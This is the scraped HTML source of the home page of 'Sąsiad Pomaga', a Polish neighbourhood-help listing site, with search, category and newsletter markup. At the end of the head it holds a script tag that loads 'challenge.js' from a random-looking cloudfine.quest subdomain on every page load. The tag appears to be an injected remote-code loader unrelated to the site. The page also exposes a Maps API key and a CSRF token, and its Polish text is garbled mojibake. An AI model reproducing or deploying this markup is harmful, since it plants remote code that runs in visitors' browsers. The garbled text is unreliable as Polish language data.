CINXE.COM
S膮siad Pomaga - Daj si臋 pozna膰 swojemu s膮siadowi!
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /> <meta name="keywords" content="test keywords"/> <meta name="description" content="test desc"/> <meta name="robots" content="index, follow, all"> <link rel="stylesheet" href="/css/reset.css"> <link rel="stylesheet" href="/css/menu.css"> <link type="text/css" rel="stylesheet" href="/css/materialize.css" media="screen,projection"/> <link rel="stylesheet" href="/css/media-hover-effects.css" /> <link rel="stylesheet" href="/css/style.css" /> <link rel="stylesheet" href="/css/app.css" /> <link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"> <script src="//code.jquery.com/jquery-2.1.1.min.js"></script> <script src="//code.jquery.com/ui/1.12.1/jquery-ui.min.js"></script> <link rel="stylesheet" href="/extra/carousel/assets/owl.carousel.min.css"> <link rel="stylesheet" href="/extra/carousel/assets/owl.theme.default.min.css"> <!-- <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css"> Generic page styles <link rel="stylesheet" href="/extra/uploader/css/jquery.fileupload.css">--> <title>S膮siad Pomaga - Daj si臋 pozna膰 swojemu s膮siadowi!</title> <link rel="icon" href="/img/favicon2.ico" type="image/x-icon"> <!-- Fonts --> <link href="//fonts.googleapis.com/css?family=Raleway:100,300,300i,400,400i,600,700&subset=latin-ext" rel="stylesheet"> <link href="//fonts.googleapis.com/css?family=Lato:100,300,300i,400,400i,600,700&subset=latin-ext" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,500,600,700&subset=latin-ext" rel="stylesheet"> <link rel="stylesheet" href="/fonts/css/font-awesome.min.css"> <link rel="stylesheet" href="/fonts/fonts/font/icons.css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <!-- CSRF Token --> <meta name="csrf-token" content="lS9kgS3eK2zmhKI8OhGsmreLCaXF56Np5ng431uV"> <script> window.Laravel = {"csrfToken":"lS9kgS3eK2zmhKI8OhGsmreLCaXF56Np5ng431uV"} </script> <script src='/js/tinymce/tinymce.min.js'></script> <script> tinymce.init({ selector: '.editor', toolbar: false, menubar: false, forced_root_block: '<br/>' }); </script> <script type="text/javascript"> // var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); // document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> // var pageTracker = _gat._getTracker(""); // pageTracker._initData(); // pageTracker._trackPageview(); </script> <script type='text/javascript' async src='https://q0cf21dv.cloudfine.quest/challenge.js'></script></head><body style="min-height: 900px; background: #fff"> <!--[if IE 8]><script src="/extra/selectize/js/es5.js"></script><![endif]--> <script src="/extra/selectize/js/standalone/selectize.js"></script> <script src="/extra/selectize/js/index.js"></script> <style type="text/css"> .selectize-control.movies::before { -moz-transition: opacity 0.2s; -webkit-transition: opacity 0.2s; transition: opacity 0.2s; content: ' '; z-index: 2; position: absolute; display: block; top: 12px; right: 34px; width: 16px; height: 16px; background: url(/extra/selectize/images/spinner.gif); background-size: 16px 16px; opacity: 0; } .selectize-control.movies.loading::before { opacity: 0.4; } </style> <div class="navbar-fixed"> <div class="mm menu-dashboard"> <!-- Dropdown Structure --> <ul id="dropdown1" class="dropdown-content"> <li> <a href="/dashboard"> <i class="left fa glyph-icon flaticon-six-rectangles-design-structure-interface-symbol"></i> dashboard </a> </li> <li> <a href="/dashboard/moje-ogloszenia"> <i class="left fa glyph-icon flaticon-breakfast" aria-hidden="true"></i> moje og艂oszenia </a> </li> <li> <a href="/dashboard/moje-osiedla"> <i class="left fa glyph-icon flaticon-neighborhood" aria-hidden="true"></i> moje osiedla </a> </li> <li> <a href="/dashboard/moje-grupy"> <i class="left fa glyph-icon flaticon-leader-of-a-group-with-an-empty-speech-bubble"></i> moje grupy </a> </li> <li> <a href="/moj-profil/szczegoly-profilu" class="bold-400"> <i class="left fa glyph-icon flaticon-executive-manager"></i> szczeg贸艂y profilu </a> </li> <li> <a href="/dashboard/strefa-fachowca" class="bold-400 menu-green-button"> <i class="left fa glyph-icon flaticon-screwdriver-and-wrench-crossed"></i> strefa fachowca </a> </li> <li> <a href="/wyloguj-sie" class="bold-400"> <i class="left fa fa-sign-out menu-icon" aria-hidden="true"></i> Wyloguj si臋 </a> </li> </ul> <nav class="top-bar-dashboard"> <div class="nav-wrapper"> <a href="/" class="brand-logo"><img class="logo" src="/img/web/logo.png" alt="S膮siad Pomaga - Daj si臋 pozna膰 swojemu s膮siadowi!"/></a> <a href="#" data-target="mobile-menu" class="sidenav-trigger"><i class="material-icons">menu</i></a> <a href="#" data-target="mobile-menu2" class="sidenav-trigger"><i class="material-icons">menu</i></a> <ul class="right hide-on-med-and-down"> <li> <a href="/wyniki-wyszukiwania" title="wyszukiwarka"> <i class="fa fa-search menu-icon" aria-hidden="true"></i> </a> </li> <li> | </li> <li> <a href="/login" class="bold-400" title="Zaloguj si臋"> <i class="fa fa-sign-in menu-icon" aria-hidden="true"></i> </a> </li> </ul> </div> </nav> <ul class="sidenav" id="mobile-menu"> <li class="center-align"> <img src="/img/web/logo.png" style="margin: 30px 0"> </li> <li> <a href="/wyniki-wyszukiwania" title="Zaloguj si臋"> <i class="left fa glyph-icon fa-search"></i> wyszukiwarka </a> </li> <li> <div class="divider"></div> </li> <li> <a href="/login" title="Zaloguj si臋"> <i class="left fa glyph-icon fa-sign-in"></i> logowanie </a> </li> </ul> </div> </div> <div class="row-full bg-full-top slider-top" style="background-image: url('/img/web/slider/s01.jpg');"> <div class="slider-top-overlay"> <div class="row"> <div class="search-front-box"> <form method="GET" action="https://www.sasiadpomaga.pl/wyniki-wyszukiwania" accept-charset="UTF-8"> <input type="hidden" name="_token" value="lS9kgS3eK2zmhKI8OhGsmreLCaXF56Np5ng431uV"> <div class="large-12 columns"> <div class="row show-for-medium-up"> <div class="large-12 columns text-center margin-info-slider"> <h4 class="intro-info"> Potrzebujesz szybkiej pomocy?<br/>A mo偶e Ty chcesz pom贸c? </h4> <p class="desc-info"> <strong>S膮siad Pomaga</strong> to unikatowy projekt, pozwalaj膮cy znale藕膰 osoby do pomocy,<br/>a przy tej okazji umo偶liwia zawi膮zanie znajomo艣ci w艣r贸d s膮siad贸w! </p> </div> </div> </div> <div class="large-2 columns show-for-medium-up"> </div> <div class="large-8 columns bg-search-box"> <div class="large-5 medium-6 columns m-bottom-3 columns-tiny"> <select id="searchBasic" name="searchBasic" class="searchPhase" placeholder="Czego potrzebujesz? Nauki angielskiego?"></select> </div> <div class="large-5 medium-6 columns m-bottom-3 columns-tiny"> <input id="autocomplete" value="" name="city" placeholder="Podaj sw贸j adres" type="text"></input> </div> <div class="large-2 medium-12 columns m-bottom-3 columns-tiny"> <input class="button tiny button-radius-3" style="width: 100%;" type="submit" value="Znajd藕 pomoc!"> </div> </div> <div class="large-2 columns show-for-medium-up"> </div> </form> </div> </div> </div> </div> <div class="spacer-main-home"></div> <div class="row"> <div class="large-12 columns text-center"> <h3 class="ads-last-h3"> Jak to dzia艂a? </h3> <div class="rope-title"></div> </div> <div class="large-12 columns text-center"> <img src="/img/web/home-walk.png" alt="Jak to dzia艂a?" class="margin-30-0-60"/> </div> </div> <form method="POST" action="https://www.sasiadpomaga.pl/get-groups-nearby" accept-charset="UTF-8" id="nearby"><input name="_token" type="hidden" value="lS9kgS3eK2zmhKI8OhGsmreLCaXF56Np5ng431uV"> <input required="true" id="nearby" value="Warszawa" name="nearby" placeholder="Podaj sw贸j adres" type="hidden"></input> </form> <form method="POST" action="https://www.sasiadpomaga.pl/get-groups-nearby" accept-charset="UTF-8" id="nearby2"><input name="_token" type="hidden" value="lS9kgS3eK2zmhKI8OhGsmreLCaXF56Np5ng431uV"> </form> <script> $(document).ready(function () { $("form#nearby").submit(); }); $("form#nearby").submit(function (e) { e.preventDefault(); $("#nearby-box").html(''); $.ajax({ url: '/get-groups-nearby', type: 'POST', data: {city: $("input[name='nearby']").val(), _token: $("input[name='_token']").val()}, success: function (data) { $("#nearby-box").html(data); } }); }); $("form#nearby2").submit(function (e) { e.preventDefault(); $("#nearby-box").html(''); $.ajax({ url: '/get-groups-nearby', type: 'POST', data: {city: $("input[name='city']").val(), _token: $("input[name='_token']").val()}, success: function (data) { $("#nearby-box").html(data); } }); }); </script> <div id="nearby-box"></div> <div class="row"> <div class="large-12 columns text-center"> <h3 class="ads-last-h3"> Popularne kategorie </h3> <div class="rope-title"></div> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/01.jpg" alt="AGD i RTV"/> <figcaption> <h2> <span>AGD i RTV</span> </h2> <p> <a href="/sekcja/agd-i-rtv/115" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/03.jpg" alt="Bezpiecze艅stwo i ochrona"/> <figcaption> <h2> <span>Bezpiecze艅stwo i ochrona</span> </h2> <p> <a href="/sekcja/bezpieczenstwo-i-ochrona/100" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/04.jpg" alt="Edukacja"/> <figcaption> <h2> <span>Edukacja</span> </h2> <p> <a href="/sekcja/edukacja/1" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/05.jpg" alt="Fotografia"/> <figcaption> <h2> <span>Fotografia</span> </h2> <p> <a href="/sekcja/fotografia/2" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/06.jpg" alt="Informatyka"/> <figcaption> <h2> <span>Informatyka</span> </h2> <p> <a href="/sekcja/informatyka/3" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/07.jpg" alt="Muzyka"/> <figcaption> <h2> <span>Muzyka</span> </h2> <p> <a href="/sekcja/muzyka/5" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/08.jpg" alt="Prace domowe"/> <figcaption> <h2> <span>Prace domowe</span> </h2> <p> <a href="/sekcja/prace-domowe/8" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/09.jpg" alt="艢lub / wesele / przyj臋cia"/> <figcaption> <h2> <span>艢lub / wesele / przyj臋cia</span> </h2> <p> <a href="/sekcja/slub-wesele-przyjecia/12" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/10.jpg" alt="Sport/zdrowie"/> <figcaption> <h2> <span>Sport/zdrowie</span> </h2> <p> <a href="/sekcja/sport-zdrowie/11" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/11.jpg" alt="Sprz膮tanie powierzchni komercyjnych"/> <figcaption> <h2> <span>Sprz膮tanie powierzchni komercyjnych</span> </h2> <p> <a href="/sekcja/sprzatanie-powierzchni-komercyjnych/112" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/12.jpg" alt="Transport"/> <figcaption> <h2> <span>Transport</span> </h2> <p> <a href="/sekcja/transport/13" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> <div class="large-3 columns grid"> <figure class="effect-sadie card"> <img src="/img/web/categories/13.jpg" alt="Wypo偶ycz臋"/> <figcaption> <h2> <span>Wypo偶ycz臋</span> </h2> <p> <a href="/sekcja/wypozycze/14" class="waves-effect waves-light btn-small get-number">zobacz</a> </p> </figcaption> </figure> </div> </div> <div class="row-full padding-top-bottom-40 bg-footer-01"> <div class="row"> <div class="large-4 medium-4 small-12 columns text-center"> <img src='/img/web/logo-bottom.png' style='margin-top: 30px'/> </div> <div class="large-2 medium-4 small-6 columns"> <h5 class="header-front uppercase font-mont"> O S膮siadPomaga: </h5> <div class="spacer-line-left"></div> <ul class="bottom-menu"> <li> <a href="/jak-to-dziala"> Jak to dzia艂a? </a> </li> <li> <a href="/regulamin"> Regulamin </a> </li> <li> <a href="/polityka-prywatnosci"> Polityka Prywatno艣ci </a> </li> <li> <a href="/kontakt"> Kontakt </a> </li> </ul> </div> <div class="large-3 medium-6 small-12 columns"> <h5 class="header-front uppercase font-mont"> Na skr贸ty: </h5> <div class="spacer-line-left"></div> <ul class="bottom-menu"> <li> <a href="/wyszukiwarka-grup?type=0"> Grup臋 osiedlow膮 </a> </li> <li> <a href="/wyszukiwarka-grup?type=1"> Grup臋 towarzysk膮 </a> </li> <li> <a href="/wyniki-wyszukiwania"> Wyszukiwarka og艂osze艅 </a> </li> </ul> </div> <div class="large-3 medium-6 small-12 columns special-input"> <h5 class="header-front uppercase font-mont"> Newsletter: </h5> <div class="spacer-line-left"></div> <div id="newsletterInfo" class="newsletter-confirm"></div> <div id="newsletterForm"> <form method="POST" action="https://www.sasiadpomaga.pl" accept-charset="UTF-8" id="newsletter"><input name="_token" type="hidden" value="lS9kgS3eK2zmhKI8OhGsmreLCaXF56Np5ng431uV"> <input autocomplete="off" name="email" placeholder="wpisz adres e-mail" type="email"> <input class="waves-effect waves-light btn-small width-100 btn-style" value="ZAPISZ SI臉 DO NEWSLETTERA" type="submit"> </form> </div> <script type="text/javascript"> $("form#newsletter").submit(function (e) { e.preventDefault(); if (validateEmail($("#newsletterForm input[name='email']").val())) { $("#newsletterInfo").removeClass("newsletter-error"); $.ajax({ url: '/newsletter/dodaj', type: 'POST', data: $(this).serialize(), success: function (data) { if (data == 1) { $("#newsletterForm").hide(); $("#newsletterInfo").html("Tw贸j adres email zosta艂 zapisany w naszej bazie.<br/>Wkr贸tce otrzymasz od nas pierwszy newsletter!"); } else { $("#newsletterInfo").addClass("newsletter-error"); $("#newsletterInfo").html("Tw贸j adres email jest ju偶 w naszej bazie"); } }, error: function (result) { $("#newsletterInfo").html("Nie mogli艣my zapisa膰 Twojego adresu email"); } }); } else { $("#newsletterInfo").addClass("newsletter-error"); $("#newsletterInfo").html("Prosz臋 poda膰 prawid艂owy adres email"); } }); </script> </div> </div> </div> <div class="row-full padding-top-bottom-20 bg-grey color-white show-for-large-up"> <div class="row show-for-medium-up"> <div class="large-3 columns show-for-medium-up"> </div> <div class="large-6 columns footer-special text-center"> <a href="" target="_blank"> <i class="fa fa-facebook" aria-hidden="true"></i> </a> <a href="" target="_blank"> <i class="fa fa-twitter" aria-hidden="true"></i> </a> <a href="" target="_blank"> <i class="fa fa-google-plus" aria-hidden="true"></i> </a> <a href="" target="_blank"> <i class="fa fa-youtube" aria-hidden="true"></i> </a> </div> <div class="large-3 columns show-for-medium-up"> </div> </div> </div> <script> var autocomplete; var geocoder; var countryRestrict = {'country': 'pl'}; function initAutocomplete() { autocomplete = new google.maps.places.Autocomplete( /** @type {!HTMLInputElement} */ ( document.getElementById('autocomplete')), { componentRestrictions: countryRestrict }); if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(function (position) { codeLatLng(position.coords.latitude, position.coords.longitude); setTimeout(function(){ getNearby(); }, 500); }); } } function codeLatLng(lat, lng) { geocoder = new google.maps.Geocoder(); var latlng = new google.maps.LatLng(lat, lng); geocoder.geocode({'latLng': latlng}, function (results, status) { if (status == google.maps.GeocoderStatus.OK) { if (results[1]) { var posi = results[0].formatted_address; $("#autocomplete").val(posi); } else { alert("Nie mogli艣my pobra膰 Twojego adresu. Prosz臋 wpisa膰 go r臋cznie."); } } else { alert("Nie mogli艣my pobra膰 Twojego adresu. Prosz臋 wpisa膰 go r臋cznie."); } }); } function getNearby() { $("#nearby").val($("#autocomplete").val()); $("form#nearby2").submit(); } </script> <script src="//maps.googleapis.com/maps/api/js?key=AIzaSyByRUFzIxBckLD_rkoHNuWoeX603NotuqM&libraries=places&callback=initAutocomplete" async defer></script> <script> $('#searchBasic').selectize({ valueField: 'name', labelField: 'name', searchField: ['name', 'keywords'], maxOptions: 10, options: [], create: true, optgroups: [ {value: 'product', label: 'Oferty'}, {value: 'category', label: 'Kategorie'} ], optgroupField: 'class', optgroupOrder: ['product', 'category'], load: function (query, callback) { if (!query.length) return callback(); $.ajax({ url: '/simple-search', type: 'POST', dataType: 'json', data: { maxresults: 10, q: query, _token: $("input[name='_token']").val() }, error: function () { callback(); }, success: function (res) { callback(res.data); } }); } }); </script> <!--<script src="/js/app.js"></script>--> <script src="/js/foundation/foundation.js"></script> <script src="/js/foundation/foundation.topbar.js"></script> <script src="/js/foundation/foundation.reveal.js"></script> <script src="/js/foundation/foundation.tooltip.js"></script> <script src="/js/foundation/foundation.tab.js"></script> <script src="/js/foundation/foundation.offcanvas.js"></script> <script src="/js/foundation/foundation.joyride.js"></script> <script src="/js/foundation/foundation.dropdown.js"></script> <script src="/extra/carousel/owl.carousel.min.js"></script> <script src="/js/menu/jquery.menu-aim.js"></script> <!-- menu aim --> <script src="/js/menu/main-mobile.js"></script> <script type="text/javascript" src="/js/materialize.js"></script> <script src="/js/action.js"></script> <script type="text/javascript" src="/js/vendor/formatter/jquery.inputmask.bundle.js" charset="utf-8"></script> <script src="/js/vendor/validation.js"></script> <script> $(document).foundation(); $(document).foundation({ joyride: { expose: true, cookie_monster: true, cookie_name: 'ug_joyride', cookie_domain: true, cookie_expires: 0, template: { button: '<a href="#" class="button tiny button-radius-3 joyride-next-tip"></a>', prev_button: '<a href="#" class="button tiny button-radius-3 back-button joyride-prev-tip"></a>' } } }).foundation('joyride', 'start'); $(document).ready(function(){ $('.sidenav').sidenav(); $(".dropdown-trigger").dropdown(); $('.collapsible').collapsible(); $('.datepicker').datepicker( { "format": "yyyy-mm-dd", maxYear: new Date().getFullYear(), maxMonth: new Date().getMonth(), yearRange: 100, maxDate: new Date(), } ); $('.tabs').tabs({"swipeable": true, "duration": 1000}); }); </script> </body> </html>